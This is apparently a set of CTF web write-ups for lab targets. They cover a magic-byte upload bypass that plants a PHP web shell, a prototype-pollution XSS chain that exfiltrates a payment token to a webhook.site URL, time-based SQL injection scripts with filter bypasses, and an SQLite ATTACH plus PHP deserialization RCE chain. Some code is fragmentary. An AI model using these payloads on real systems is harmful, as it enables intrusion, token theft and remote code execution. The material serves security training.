exif_imagetype() reads the first bytes of an image and checks its signature.

So if such a built-in function is used, we can easily bypass it by adding some Magic bytes at the beginning of our file shell.png.php. Of cource we we’ll still try to inject php code to achieve an RCE. To do so, we can build a simple python script which does the work:

outputFile = "shell.png.php"

shell = b"<?php system($_GET['cmd']); ?>"

with open(outputFile,"wb") as f:

print("Content of the exported file: ")

lines = []
with open(outputFile,"rb") as f:
    lines = f.readlines()


ffd8ffee are the first bytes in a jpg image. Now finally we can try to upload the file again.

And here we go!

The image 826eca1e5af937d67e30584b422f8d12.png.php has been uploaded!
You can view it here: Click here

Clicking the link we can do the same thing as before and access the direct link of the uploaded PHP file. In my case it is urlbefore.../f9bbbecb61014db8f0674bf60c27e668/826eca1e5af937d67e30584b422f8d12.png.php

Now we can finally get the flag by requesting page with a GET parameter set as cmd, to retrivie the flag executing a cat.


Note: the + is used to indicate a space in a url.

🏁 DANTE{Y0u_Kn0w_how_t0_bypass_things_in_PhP9Abd7BdCFF}


I want that flag so bad but I can’t afford it. Can you buy it for me please?

Author: Virgula

On this challenge we have two services. The first one is a shop which allow us to buy some products by using a local wallet or bank.

Shop main page

The second one is the associated bank which allows us to integrate payments with they’re API.

Bank main page

In the main page of the bank we can already spot some important hints, for example there is a comment by Anthony which is an empoyee and works for both services.

Let’s proceed by taking a look at FlagShop service first.

I’ll use the following credentials to register:

username: test123456
password: T3st1234%

Shop dashboard

We can buy some items which have different costs, choosing to make the payment with our local wallet or the bank service.

We can see that there is the flag too, but of course we can’t afford it neither summing the import of the both flagshop and flagbank services.

Let’s intercept some requests to unserstand the application flow.

If we try to buy with local wallet we’ll have something like this:

POST /checkout.php HTTP/1.1
Host: shopsite
Content-Length: 44
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://shopsite
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://shopsite/shop.php
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=98sn80vj4t8pjojcafbir1gboi
Connection: close


After the purchase the money will decrease with the value of bought item as it should be.

In this request, are defined the object and the method as POST parameters, nothing seems really interesting here.

If instead, we try to buy with the bank we get redirected to the bank domain and asks us for a login to proceed.

Before to proceed further and try to buy througth the bank, let’s analyze in deeper FlagShop.

We have other pages to visit one is Add Funds which returns:

This function is disabled

and it does not seem to be useful.

Another interesting page is the contact page. Some info are asked and let’s try to input random values:

name: test
lastname: test
site: http://example.com
comment: shitty site

What we got is the following answer:

Thanks. You request has been assigned to Anthony (#id:001LOA982MKK).
He/She will review your request as soon as possible

If you pay attention at the name of the employee, who’s the case has been assigned, is the same of the employee on the main page of bank. So this means that probably he has logged in on both sites. And what about if he visits our link? Let’s try to add a webhook url and submit again the form.

The url in my case will be something like: https://webhook.site/52ba736a-8411-44a9-80eb-636a2d352f3b/anthonyClickThis.

WebHook response

So our link is getting visited, in particular we can get a look at the User-Agent where defines HeadlessChrome. This means that the back-end is running an Headless browser most probably. This also means that this challenge could be focused on some kind of XSS exploitation, which in fact, it is.

Let’s get a look at FlagShop Bank service now. You can sign up as always and login in. The main page is not that much interesting and the only thing we can see is a table with authorized past transactions.

The page report.php has nothing interesting as well, while the deposit page shows up a form.

Bank deposit page

Whatever input we provide the response will be always the same:

Credit Cart number or CVV not valid

If we intercept the request with burpsuite, we will also see a message which says This page is still under manuntention ... and this page seems to be useless too, remember that the site is getting updating and some functionalities could be disabled even if present.

Ok let’s try to buy an item (Flag for example) from Flag Shop with Flag Bank now.

If we’re not logged in the bank we need to, otherwise an authorization request is shown:

Payment authorization page

We can see that pages communicates each other with JWT encoded tokens. Looking at the url in fact, we can notice a token as GET url parameter. Decoding the payload part of the JWT and we get:

  "authorized": false,
  "id_trans": "604c412964e4b010edbfbc7a218f226d",
  "item": "3",
  "price": 100

Accepting the request in this case will return the message:

Sorry, you don't have enough money

And for declining the payment:

Payment request declined

If instead, we try to buy an item which costs less, we find the item bougth in FlagShop and we can see a new added transaction in the main page of the bank. Also, after accepting the request an authorized token is generated by the bank and then it is sent to the page specified with the url shown in authorize.php page. For instance, if we authorize a payment for a Sweet Phrase and we have enough money, we can see a redirect to: callback.php page of FlagShop wich has a get token parameter which is different from the one sent before. In fact decoding the JWT payload part will look like this:

  "authorized": true,
  "id_trans": "604c412964e4b010edbfbc7a218f226d",
  "item": "1",
  "price": 1

What to do should be more clear now, we need to steal the token somehow to an user which has enough money to afford the Flag.

All the bugs resides in the page authorize.php when we try to buy something using the bank account.

Let’s take an analysis on authorize.php. The first thing which looks interesting is a custom javascript file called loader.js. Opening it we get the following code:

function url(url) {this.url = url;}
function alternativeUrl(){};

var alternativeUrl = new alternativeUrl();
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const pp = urlParams.get('url');

if (pp){
    const parsedJson = JSON.parse(pp);

var myurl;
if (alternativeUrl.setted){
    myurl = new url(alternativeUrl.url);
    myurl = new url('http://shopurl/callback.php");

var element = document.getElementById('myid');
element.innerHTML = myurl.url;

var hidden = document.getElementById('logidurl').value=myurl.url;

Since in the main page of the bank we found that IT teams are working to accept payment also for external sites which is not necessarily PayFlag Bank there is this strange javascript code that by default sets the callback url of FlagShop but it seems that in future it will accept other links too.

The code defines 2 objects, url and alternativeUrl. Then if present, a GET url parameter is assigned and it is parsed as JSON. Then the 2 objects are merged and the properties of parsedJson will erhedited to alternativeUrl. Then, if an alternative url is set, the code builds the object url with the redefined url. We can manipulate javascript object somehow.

The first thing to do is simply to try to change the default url value. We already discussed what the code does so we can inject a JSON object by setting the variable of alternativeUrl object to true.

The payload will look something like this:

{"__proto__": {"setted": "true","url":"http://example.com/callback.php"}}

and our request:

http://banksite/authorize.php?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjpmYWxzZSwiaWRfdHJhbnMiOiI1NTBhZDY1MjAyYjlkNDUwNzI1MDhjZDNhN2UxY2Q3NyIsIml0ZW0iOiIxIiwicHJpY2UiOjF9.Q9O3hiTv7Tdj2eg4elcUtAZrkxskCPftUfAUCEZ94Ng&requestpayment&url={"__proto__": {"setted": "true","url":"http://example.com/callback.php"}}

Authorization page after XSS

As you can notice, we changed the url in the page. Clicking on yes we’re redirected to


While the original request to FlagShop was:


where CALLBACK_AUTHORIZED_PAYMENT_TOKEN is a valid jwt response token.

The latest request, lets us find the object in purchased items.

So we need to get the CALLBACK_AUTHORIZED_PAYMENT_TOKEN. But in order to do so we first must let our rich Anthony to being authomatized clicking Yes button on the authorize.php page.

At this point we can think to inject some Javascript using the <script> tags.

So a possible payload will be the following:

{"__proto__": {"setted": "true","url":"<script>alert(1)</script>"}}

But nothing is executed and that’s because:

  • The DOM has already been loaded and all javascript elements have already been executed.
  • CSP restrictions are enabled and only scripts with nonce attributes can run on the browser, it would work since loader.js has nonce attribute but in the injection does not work for the first reason.
  • innerHtml avoids the execution of code inserted within tag script (at least not directly like in this case)

Let’s take a look at imported scripts:

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ENjdO4Dr2bkBIFxQpeoTz1HIcje39Wm4jDKdf19U8gI4ddQ3GYNS7NTKfAdVQSZe" crossorigin="anonymous" nonce="eBFVL5ktEUH1SaNf"></script>
<script src="js/jquery-3.6.4.js" integrity="sha256-XVlFYOZePZmA91xJFTABAOEDt+oqAE+n5mvMlnizH78=" nonce="eBFVL5ktEUH1SaNf" ></script>

The Jquery dependency looks weird because, differently from bootstrap, it is loaded from local environment. Also, checking the integrity hash sha256-XVlFYOZePZmA91xJFTABAOEDt+oqAE+n5mvMlnizH78= with the original one released by jquery site (https://releases.jquery.com/jquery/) sha256-a9jBBRygX1Bh5lt8GZjXDzyOB+bWve9EiO7tROUtj/E= leads in a mismatch. Read more about hash integrities: https://www.w3.org/TR/SRI/. As last but not least, we can notice the presence of a Jquery function:

$.warn('Informative Warning: Url mismatch');}

which is used by authorize.php to check if there is an url mismatch with the original one. In fact the latest image showed it. This so called warn function does not exist in JQuery library and no trace can be found in documentation. All these are proofs that the library has been modified for personal purposes. What we can do now is to search for this warn function in the loaded JQuery library.

Modified jquery library

The interesting part is what is executed after the warn function declaration. In fact the script executes every 1000 ms a check for searching add-my-role=additional-message attributes. If there is, it gets the content of role-text attribute and adds the content to the div message. But first, it checks if the elemtent has the property active. This code would be useful if for example, there is an input tag and when the tag is active and focused by the user a message spawns saying: Your are inserting text since N seconds. When user clicks out the element, text is not updated anymore. We can exploit this function to achieve a XSS. Also, notice that is not used the method innerHtml to append code to the page but instead is used .html method of JQuery, which is known to be easily exploitable since it executes a sort of eval internally on the parsed code which can leads in a XSS. We can think to build an exploit like this.

{"__proto__": {"setted": "true","url":"<div add-my-role='additional-message' role-text='<script>alert(1)</script>'>"}}

This is not executed because we have to remember the focus property, so the element must focused to reach the message.html(getRoleText) code. We can achieve this result by adding an anchor at the end of our link (or an autofocus) which refers the id attribute of our html tag. The id will be for example: id='foo' and the anchor will be at the end of the url: #foo. Remember that this works with focusable html elements only, and the div is not focusable. I’ll use <a> tag but you can find many others focusable tags. So the full link will be something like this

http://banksite/authorize.php?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjpmYWxzZSwiaWRfdHJhbnMiOiI1NTBhZDY1MjAyYjlkNDUwNzI1MDhjZDNhN2UxY2Q3NyIsIml0ZW0iOiIxIiwicHJpY2UiOjF9.Q9O3hiTv7Tdj2eg4elcUtAZrkxskCPftUfAUCEZ94Ng&requestpayment&url={"__proto__": {"setted": "true","url":"<a href='we' id='foo' add-my-role='additional-message' role-text='<script>alert(1)</script>'>Click Me</a>"}}#foo

XSS on payment authorization page

BOOM!!! XSS obtained. Now we need to click automatically on yes button and the payload can be something like this:

{"__proto__": {"setted": "true","url":"<a id='foo' href='we' add-my-role='additional-message' role-text='<script>document.getElementsByTagName(\"button\")[0].click()</script>' >Click Me</a>"}}#foo

After the click we’re redirected to:

http://banksite/<a id='foo' href='we' add-my-role='additional-message' role-text='<script>document.getElementsByTagName("button")[0].click()</script>' >Click Me</a>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJpZF90cmFucyI6IjUzYmZlZWUyZWJmMmZjMzQ4N2YzNmFjY2U1NWMyZTZjIiwiaXRlbSI6IjEiLCJwcmljZSI6MX0.Z9DdCbHTvVLxYVbT4jsxH9-h6-P0-o9wHHQKUpCaGAQ#foo

And decoding the token…

  "authorized": true,
  "id_trans": "53bfeee2ebf2fc3487f36acce55c2e6c",
  "item": "1",
  "price": 1

We have an Open redirection here. Great! we’re next to the solution. Now what we have to do is to remember to make the redirect to an our webhook to get all the html payload but also the token we want!

So let’s try to inject:

{"__proto__": {"setted": "true","url":"https://webhook.site/1f534b1f-97cf-478c-96b9-7715ffc96e54?p=<a id='foo' href='we' add-my-role='additional-message' role-text='<script>document.getElementsByTagName(\"button\")[0].click()</script>' >Click Me</a>"}}#foo

What is changed is that we added https://webhook.site/1f534b1f-97cf-478c-96b9-7715ffc96e54 before the injected html code.

Token intercepted in webhook request

And it’s working! We can see our strange payload injected and also the token appended at the end!

Let’s start again from the beginning and let’s try to get the flag with the same method by submitting the url to Anthony.

  • Get back to FlagShop and let’s Pay With You bank

  • Grab the request token and use it to build our payload:

http://banksite/authorize.php?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjpmYWxzZSwiaWRfdHJhbnMiOiI5ZDA0OTU4YzEzMTI2YzBkNWEzZTgyZjgzMzgzODU3YiIsIml0ZW0iOiIyIiwicHJpY2UiOjEwMH0.0GohUTzZkjGU3MdXFoIUID0UQJsPxjZy-8nGHr36G40&url={"__proto__": {"setted": true,"url":"https://webhook.site/1f534b1f-97cf-478c-96b9-7715ffc96e54?p=<a id='foo' href='we' add-my-role='additional-message' role-text='<script>document.getElementsByTagName(\"button\")[0].click()</script>' name='foo'>Click Me</a>"}}#foo
  • Submit the paylaod to Anthony via contact page.

response obtained:

<a id='foo' href='we' add-my-role='additional-message' role-text='<script>document.getElementsByTagName("button")[0].click()</script>' name='foo'>Click Me</a>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJpZF90cmFucyI6IjlkMDQ5NThjMTMxMjZjMGQ1YTNlODJmODMzODM4NTdiIiwiaXRlbSI6IjIiLCJwcmljZSI6MTAwfQ.g7OdksVFa-lLL6fJFpKnpqEOy9KvSv8_Blz25ykh8HY
  • Grab the token from webhook and submit the callback to the shop:

Purchased page with flag

  • Enjoy your flag.

🏁 DANTE{alwAys_ch3CK_int3griti3s_f0r_XsS_98_AFEE0912}


My close friend just made an application for my “Security Project” but I didn’t release it because I don’t fully trust him… Yeah we’re not so close friends… Maybe I need to contact Troy Hunt and ask him how to make a site like HaveIbeenPwned.

Author: Virgula


We’ve 2 servers: One written in python and the other one in PHP. The docker files initializes the 2 services on different containers and the flag is located into the container where the PHP server runs. The flask server has a dashboard accessible only by an admin user which allows to send to the PHP server signed JWTs messages in order to communicate with it. The token for the JWT encode/decoding is generated randomly.

The method which converts the input from the url and converts it as an integer then passes the converted integer directly into a query vulnerable to sql injection is a rabbit hole and can’t be bypassed.

The first bug needs to perform a SQL Injection on the login form of the dashboard.

def performLogin():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username == "" or password == "":
            return render_template("login.html",displayStatus="block")

        login = sqler.queryExecutor(query=username,cursor=cursor)

        if (login):
            if verified:
                session['username'] = login['username']
                return redirect("/dashboard")

        return render_template("login.html",displayStatus="block")

    return render_template("login.html",displayStatus="none")

So the password is verified in a second moment by the following method:

def hash_verifier(self,password,recoveredPassword):
    result = False
    exception = False

        result = bcrypt.checkpw(password.encode(),recoveredPassword.encode())
    except Exception:
        exception = True

    return  result \
        if recoveredPassword.startswith("$2y$") and not exception else False

Notice that the application accept only linux $2y$ bcrypt hash format even if the bcrypt.checkpw supports various other forms of bcrypt hash such as $2a$.

Bcrypt passwords in the db are uncrackable since they’re generated randomly with something like this by the author:

htpasswd -i -nbBC 10 USER "$(cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32 )" | cut -c6- | tr -d '\n'

The SqlInjection resides in dbConnection.py, but some strips on the inserted query and some filters are hard to bypass. Checks are done by the method __recuresiveStrip while other words like select are poorly checked before to execute the sql statement so they can be bypassed easily by using some payload like: selselectect

def __recursiveStrip(self,query):
    matches = ["updatexml","extract","%","unhex","hex", \
                    "join", "roles", "id", "rolestring", "role",\
                    "ascii","concat","lower","upper","mid","substr","substring", \
                    "replace", "right", "left", "strcmp", "rtrim", "rpad","ucase", "lcase", \
                    "max", "cast", "conv", "convert", "if" , "benchmark" , ">" , "<" \
                    "->", "/", "*","aes","char","compress","find","base64", "instr" \
                    "is" , "json","left","md5", "oct","ord", "regexp","sha","space","digest"\
                    "trim","uncompress", "xor", "~", "|","case","when"]

    patterns = [".*,.*[uU][sS][eE][rR][nN][aA][mM][eE]"]

    for x in patterns:
        if re.match(x,query.lower()):
            query = query.lower()
            query = re.sub(x,"",query)

    for x in matches:
        if x in query.lower():
            query = query.lower()
            query = query.replace(x,"")

    return self.__recursiveStrip(query) \
        if any([x in query.lower() for x in matches]) \
            or any([re.match(query.lower(),x) for x in patterns]) \
                else query

Some other keyword such as updatexml etc.. are severly prohibited and they’re recursively stripped by the application. We can’t inject % in the LIKE statement.

We could perform a simple UNION select injection but we need to retrivie the admin username first because there is a check which selects the username from the database without using it directly.

@app.route('/dashboard',methods = ['GET','POST'])
def dashboard():
    if session and session['username'] == sqler.staticAdminSelector(cursor):
    def staticAdminSelector(self,cursor):
        cursor.execute(f"SELECT username FROM user as u JOIN roles as r ON u.id = r.id WHERE r.roleString = 'admin'")
        got = cursor.fetchall()

        return got[0]['username'] if len(got) > 0 else self.utils.generateRandomToken(20)

Sql Injection method 1 (Easy way) -> Retrivie data using sleep queries

So we need to perform a Time Based Sql Injection to retrivie the user. Since % is banned we need to retrivie the length of the string first, and the we can use the character _ in the like to retrivie the information.

The exploit should be something like this:

import requests as r
import string
import time

url = "http://localhost:56563/login"
charAlphabet = string.digits + string.ascii_lowercase + string.ascii_uppercase + "$./"

#retrivie the length of athe users
users_length = []
for z in range(2): #from createDb.sql script we see the number of users
    digits = 0
    while True:
        #select (select username from user LIMIT 1 OFFSET 1) AS ll having length(ll) = 14 and sleep(2);
        query = f"""\\' or (selselectect (selselectect username from user LIMIT 1 OFFSET {z}) AS ll having length(ll) = {digits} and slesleepep(2)) -- abcd """
        data = {"username":query,"password":"test"}
        before = time.time()
        response = r.post(url=url,data=data)
        if time.time() - before > 2 :
        digits = digits + 1


users_list = []
offset = 0
for x in users_length:
    userName = ""
    pattern = ""
    for p in range(0,x):
        for alpha in charAlphabet:
            pattern = userName + alpha + "_" * ((x-1)-(p))
            #select (select username from user LIMIT 1 OFFSET 1) AS ll having length(ll) = 14 and sleep(2);
            query = f"""\\' or (selselectect (selselectect username from user LIMIT 1 OFFSET {offset}) AS ll having ll LIKE BINARY "{pattern}" and slesleepep(2)) -- abcd """
            data = {"username":query,"password":"test"}
            before = time.time()
            response = r.post(url=url,data=data)
            if time.time() - before > 2 :
                userName += alpha
    offset = offset + 1


We got user and adminRoot00988 from the Db. We could have gone further by getting the BCrypt hashes like shown in the script retrivie_data_from_db.py but it’s useless.

Now that we have the username of the admin (which is adminRoot00988) we can perform the Sql Injection in the login, but first we need to generate a valid BCrypt hash to bypass the password check.

Bash script:

htpasswd -i -nbBC 10 USER "test"

We get something like this:


Finally we can inject in the login page the following:

username: \' union selselectect 1,"adminRoot00988","$2y$10$XcBsMyOm59SW87eDAl38gO2.ZAJMEUK.YPjSBDsqLA7m/RjvVdsoK" -- abcd

password: test

But we’re still not in and we get from the page:

Username and Password Invalid

That’s a little tricky, and is due to the fact the in __recursiveStripFunction when a substring matches it gets removed and lowercased. So once inserted a bcrypt hashed that has a banned substring contained in, the checks fails and we cannot login. Since bcrypt library in python allows to check $2y$ password format but it does not allow us to generate such kind of hashes, we can use the passlib.hash module which supports $2y$ encryption and we can make a python script which tries the sql injection until a valid hash bypasses the filters. This should require few attempts.

import requests as r
from passlib.hash import bcrypt
# htpasswd -bnBC 10 "" password | tr -d ':\n' | sed 's/$2y/$2a/'
response_string = "invalid"
# when hash matches a char contained in blacklist element it got regenerated until the hash bypass the
# blacklist

while "invalid" in response_string.lower() :
    hash = bcrypt.using(rounds=4).hash("test", ident="2y") #rounds 4 faster to generate
    data = {"username":f"""\\' union selselectect 1,"adminRoot00988","{hash}" -- abcd ""","password":"test"}
    response = r.post(url,data=data,allow_redirects=True)
    response_string = response.text


{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$iwB8gtSZqQcxrNMp2aN7ReGuYl/r01J2VugS0bJt.6V1fw2qcCbw2" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$H9FV/viWy6XxeFbKCqeXGui4WH441RS9EoErvoxMGydaxayd8Kkdq" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$XaWhbo6rMTMSgaRx2JJNR.j5u8zktp28/3PovGp1kEkht6/jM/4Uu" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$8ImU.CUkHLfApd5QFgys/.Bmp62BE.jqzfOd5p7IRkFoeBznybJ1u" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$ZtiDCa5qK57k.9HzQ9jefO06jpR6GUi9l.HpWjjD00AbxT/4mzOLi" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$TnOffKkS/1NT3bIU9zfIRu1WryBoOM1qnhRgS44w/.DNQgQF7aKXm" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$Cx3NNMkulsWZwe/Vnt4VFeobzg8.WRDgnndkVpreSRANXPAOt49UG" -- abcd ', 'password': 'test'}
{'username': '\\\' union selselectect 1,"adminRoot00988","$2y$04$EFvn.z3YvPN1C9HDpeanSOTgO3WNE1Zi.GFvjxt48FejxktOkku1." -- abcd ', 'password': 'test'}

The latest payload is good and let’s try to inject it via browser with:

username: \' union selselectect 1,"adminRoot00988","$2y$04$EFvn.z3YvPN1C9HDpeanSOTgO3WNE1Zi.GFvjxt48FejxktOkku1." -- abcd

password: test

We’re in!


Sql Injection method 2 (Creative way) -> Use a single payload to bypass everything!

We can exploit the recursiveStrip and play with it by injecting creative payloads which retrivies automatically the right user from the db and we pass an our hashed password with union select like the method 1. Also, to avoid banned characters in the bcrypt hash we can use hexadecimal notation with 0x as data for the column, in fact hex will be automatically converted by mysql, very handly!

username=\' union sel/**/ect 1,(sel/**/ect usern/**/ame from user limit 1,1),0x243279243130245a57616c514573323339334d4b6277427a716b716e654837416e4432787a6e656f34356b7246497674757648476a415769674a5336-- abcd


Payload found by: beryxz
Note: We found the payload in testing phases of the challenge and we decided to leave this way as intented.

The panel contains a jwt Token called magicToken, this is passed to the PHPServer to perform requests.

The application uses a Serialized Object of type MD5DBEngine and replaces the hash 00000000000000000000000000000000 with the md5 hash generated from the user input. The php server then performs an unserialize of the passwd input in the JWT. Everything can be understood in serverRequestHandler.py:

    def sendRequest(self,key,word,jwt_token,utils):
        value = base64.b64decode(self.requestObject.encode()).decode()
        value = value.replace('00000000000000000000000000000000',hashlib.md5(word.encode()).hexdigest())
        myDict = {key:base64.b64encode(value.encode()).decode()}
        encoded_jwt = utils.jwtSignerMethod(myDict,jwt_token)
        cookies = {"decodeMyJwt":encoded_jwt}
        response = r.get(self.urllocation,cookies=cookies).text
        return [response if "FOUND" in response else "Your password is secure, no matches in our dbs"\
                , encoded_jwt]

To let the exploit to work the flask application provides an API just to return the jwt signed token. The request can be performed to getSignedCookie from an authenticated user.

The PHP application flows is the following:

We’ve a SQL statement in md5Hashes.php vulnerable to Sql Injection which interacts with SQLite database which resides on the container which runs the PHP instance.

    public function perform(){

        $query = "SELECT 'FOUND IN DB, UPDATE YOUR PASSWORDS!!' FROM UnsecurePasswordsHash WHERE value = '" . $this -> HashString . "'";

        $res = $db1->query($query)->fetchArray();
        return ($res[0]);

Since we can insert multiple statement via the exec function the idea is to use the exploit which can be easily found from payload all the things to achieve an RCE.


ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

The magic method __toString called by the index.php page returns the result of the function perform which is used to get the JWT content from the cookie variable decodeMyJwt and then the object gets base64decoded and unserialized.

We have to poke around with MD5DBEngine class in order to reach the object deserialization RCE. We can see from the code:

    private $HashString = "";
    private $objArray = array();

    public function __construct($HashString){
        $this -> HashString = $HashString;
        $this -> objArray['obj'] = $this;


    public function __toString(){
        return strval($this -> objArray['obj'] -> perform());

that the class is initialized by default whit $this reference and it’s saved in an array. Then when the __toString gets called the object is retrivied from the array and the perform method gets executed.

In order to create the php file for the RCE (actually it can be whatever extension you want not necessarily PHP) we can create a script sqlinjectionserializer.php which does the work:


class MD5DBEngine{

    private $objArray = array();
    private $HashString = "";

    public function __construct($HashString){
        $this -> objArray['obj'] = $this;
        $this -> HashString = $HashString;

$obj = new MD5DBEngine('\'; ATTACH DATABASE \'/srv/app/container/aaaaa.php\' AS lol; CREATE TABLE lol.test (dataz text); INSERT INTO lol.test (dataz) VALUES (";system(\'cat /flag.txt\');"); --');

echo base64_encode(serialize($obj));

Pay attention to the path where the file is saved: /srv/app/container/aaaaa.php. This is why the user which runs the PHP server has the privileges to write only there, and this can be seen from the Dockerfile (line 18 chown -R www-data:www-data /srv/app/container)

Now a little bit explaination why I save in the file the content: ;system(\'cat /flag.txt\');. This is due because if you look at visualizer.php which we have to run to execute our RCE, there is the eval which gets the content with the function get_file_contents and it splits the content by using the following regex:

preg_match('/[^;]+;$/', $content_of_the_file, $matches);

The string must start with a ; and then should be followed by the PHP code we want to execute. This restrictions is present beacuse when we create a file using the ATTACH command, some dirty bytes will preceed our PHP payload. This bytes are necessary to SQLite to indentify is own format when a db file is created, but are an obstacle for us.

So we can send the base64 encoded payload by signing it before with JWT. We can build a script which does the work:

import requests as r
url = "http://localhost:1999/login"

with r.Session() as s:
    # htpasswd -bnBC 10 "" password | tr -d ':\n' | sed 's/$2y/$2a/'
    response_string = "invalid"
    # when hash matches a char contained in blacklist element it got regenerated until the hash bypass the
    # blacklist

    while "invalid" in response_string.lower() :
        hash = bcrypt.using(rounds=4).hash("test", ident="2y") #rounds 4 faster to generate
        data = {"username":f"""\\' union selselectect 1,"adminRoot00988","{hash}" -- abcd ""","password":"test"}
        response = s.post(url,data=data,allow_redirects=True)
        response_string = response.text

    object = """

    urlThis = f"http://localhost:1999/getSignedCookie"
    response2 = s.post(urlThis,data={"key":"md5Searcher","value":object})


    url = "http://localhost:1717/index.php"
    response = r.get(url,cookies={"decodeMyJwt":response2.cookies.get_dict()['magicToken']})


If everything is fine we should have our payload saved in the path: /srv/app/container/aaaaa.php.

Now we have to perform a RCE modifing the LFI in file_get_contents by using the class Visualizer. The problem is that the Visualizer does not have a magic method. So if we serialize directly the class Visualizer, it won’t work since the method perform within the class will not be executed.

To execute it we have to take a look again at the class MD5DBEngine. In fact the code within there, allows us to modify the array by declaring a new object which replaces $this reference and then when the toString is called by the Handler it will refer the new object inizialized instaed of $this. So if the flows is the following:

        return strval($this -> objArray['obj'] -> perform());

and since the method we want call in Visualizer is called perform too, we can manipulate the constructor of the class MD5DBEngine to call another MD5DBEngine which finally calls the Visualizer.


MD5DBEngine To String Called -> Select a new MD5DBEngine which have in the array obj a Visualizer Instance -> the perform method in Visualizer is called.

To achieve the serialization, the code is the following.

class Visualizer{
    private $locationFile;

    public function __construct($file){
        $this -> locationFile = $file;

class MD5DBEngine{
    private $objArray = array();
    private $HashString = "";

    public function __construct($obj,$HashString){
        $this -> objArray['obj'] = $obj;
        $this -> HashString = $HashString;

$obj = new MD5DBEngine(new Visualizer('/srv/app/container/aaaaa.php'),'');

echo base64_encode(serialize($obj));

Again with what we got here, we have to sign with JWT and send it to the server, so the final payload to execute our SqlInjection + RCE will be the following:

Full Solution Script

import requests as r
url = "http://localhost:1999/login"

with r.Session() as s:
    # htpasswd -bnBC 10 "" password | tr -d ':\n' | sed 's/$2y/$2a/'
    response_string = "invalid"
    # when hash matches a char contained in blacklist element it got regenerated until the hash bypass the
    # blacklist

    while "invalid" in response_string.lower() :
        hash = bcrypt.using(rounds=4).hash("test", ident="2y") #rounds 4 faster to generate
        data = {"username":f"""\\' union selselectect 1,"adminRoot00988","{hash}" -- abcd ""","password":"test"}
        response = s.post(url,data=data,allow_redirects=True)
        response_string = response.text

    object = """

    urlThis = f"http://localhost:1999/getSignedCookie"
    response2 = s.post(urlThis,data={"key":"md5Searcher","value":object})


    url = "http://localhost:1717/index.php"
    response = r.get(url,cookies={"decodeMyJwt":response2.cookies.get_dict()['magicToken']})


    object = """
    urlThis = f"http://localhost:1999/getSignedCookie"
    response2 = s.post(urlThis,data={"key":"md5Searcher","value":object})

    url = "http://localhost:1717/index.php"
    response = r.get(url,cookies={"decodeMyJwt":response2.cookies.get_dict()['magicToken']})


🏁 DANTE{SqlInj3cti0n_pLus_d3S3r1al1zatI0N_is_br0K3N_99_99_99_AAFFB78312DD}

Unknown Site 1

Just a web warmup challenge to keep the bots away. Enjoy it.

Author: Virgula

Unknown site main page

The page shows an image. The image referers to Google and shows a robot as an hint. Robots file are very important for a search engine. It is a file located on a server which indicates which file the search engine can show on the internet and can access to in order to crawl and collect info about the website. To unsertand more about robots.txt please visit: https://en.wikipedia.org/wiki/Robots.txt. The flag can be easily retrivied by visiting: /robots.txt.

🏁 DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}

Unknown Site 2

Now that you completed the Warmup, you need to get the hidden second flag on the same site.

Author: Virgula

After completing the challenge above, Unknown Site 1, we can see some more info in the file robots.txt:

  • The first flag
  • Some other directories

Visiting the first directory (s3cretDirectory1) gives us the following result:

Hello There User!

Poking around with headers we can find a cookie named FLAG with value NOPE. Trying to access s3cretDirectory2 gives us a similar result. Visiting s3cretDirectory3 instead, returns a list of php pages saved in that directory.



etc... etc

Clicking on pages, you will get always the same result:

Hello There User!

And the cookie with name FLAG value NOPE is still present. The solution is to write a small script to crawl all the PHP files and check all the FLAG cookies in order to get the flag.

import requests as r
from bs4 import BeautifulSoup
import re

response = r.get('http://localhost:5757/s3cretDirectory3/')
soup = BeautifulSoup(response.text,features="html.parser")

for a in soup.find_all('a', href=True):
    if re.match("[a-zA-Z0-9]{32}",a['href']):
        request2 = r.get('http://localhost:5757/s3cretDirectory3/'+a['href'])
        if a['href'] != "index.php" and request2.cookies.get_dict()['FLAG'] != "NOPE":
            print("Found flag in page: " + a['href'])

Bash one-liner solution version!:

wget -rv http://localhost:5757/s3cretDirectory3/ -S 2>&1 | grep FLAG=D

